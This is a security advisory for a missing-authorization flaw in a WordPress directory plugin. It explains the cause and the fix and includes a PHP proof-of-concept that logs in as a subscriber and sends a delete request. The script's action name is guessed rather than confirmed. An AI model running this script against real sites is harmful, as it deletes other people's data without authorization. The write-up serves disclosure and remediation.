Atomic Edge analysis of CVE-2025-68058 (metadata-based):
This vulnerability is a missing authorization flaw in the Institutions Directory WordPress plugin, affecting versions up to and including 1.3..4. The flaw allows any authenticated user, including those with the low-privilege subscriber role, to perform an unauthorized administrative action. The CVSS score of 4.3 (Medium) reflects a network-accessible attack with low attack complexity and low impact on integrity.
Atomic Edge research identifies the root cause as a missing capability check on a function. The CWE-862 classification confirms the plugin fails to verify if the current user has the required permissions before executing a privileged function. This analysis is inferred from the CWE and description, as the source code is unavailable. The vulnerable function is likely hooked to a WordPress AJAX action or admin-post endpoint without using `current_user_can()` or a similar authorization check.
Exploitation requires an attacker to have a valid WordPress account. The attacker would send a crafted HTTP POST request to the WordPress AJAX handler (`/wp-admin/admin-ajax.php`) or the admin-post handler (`/wp-admin/admin-post.php`). The request must contain an `action` parameter corresponding to the vulnerable plugin function. Based on common plugin patterns, the action name likely includes the plugin slug, such as `institutions_directory_action`. The payload would contain parameters required by the backend function to perform the unauthorized action, such as an institution ID to delete or modify.
Remediation requires adding a proper capability check before the function executes. The plugin developer must modify the vulnerable function to call `current_user_can()` with a capability like `manage_options` or a custom capability mapped to administrator roles. The check must validate the user’s permission before processing any request data. A nonce check should also be added for CSRF protection, but the primary fix is the authorization check.
The impact is unauthorized modification of plugin data. An attacker could delete, edit, or create entries in the institutions directory, corrupting the website’s content. This constitutes an integrity violation. The vulnerability does not enable direct remote code execution, privilege escalation to WordPress administrator, or sensitive data leakage, aligning with the CVSS metrics for low impact on confidentiality and availability.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68058 - Institutions Directory <= 1.3..4 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-68058.
* This script simulates an authenticated subscriber performing an unauthorized action.
* The exact AJAX action and parameters are inferred from plugin naming conventions.
* Assumptions:
* 1. The vulnerable endpoint is `/wp-admin/admin-ajax.php`.
* 2. The AJAX action parameter contains the plugin slug.
* 3. The action parameter for the unauthorized function is `institutions_directory_delete`.
* 4. The function requires an `institution_id` parameter.
* 5. The attacker has valid subscriber credentials.
*/
$target_url = 'https://victim-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'subscriber'; // CHANGE THIS
$password = 'password'; // CHANGE THIS
// First, authenticate to WordPress to get a session cookie.
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => str_replace('admin-ajax.php', 'wp-login.php', $target_url),
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HEADER => true,
]);
$response = curl_exec($ch);
curl_close($ch);
// Now, send the unauthorized AJAX request.
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'institutions_directory_delete', // Inferred vulnerable action
'institution_id' => '1' // Target institution ID
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_COOKIEJAR => 'cookies.txt',
]);
$result = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Clean up cookie file.
if (file_exists('cookies.txt')) {
unlink('cookies.txt');
}
echo "HTTP Response Code: $http_coden";
echo "Response Body: $resultn";
// A successful exploitation might return a JSON success message or a redirect.
?>
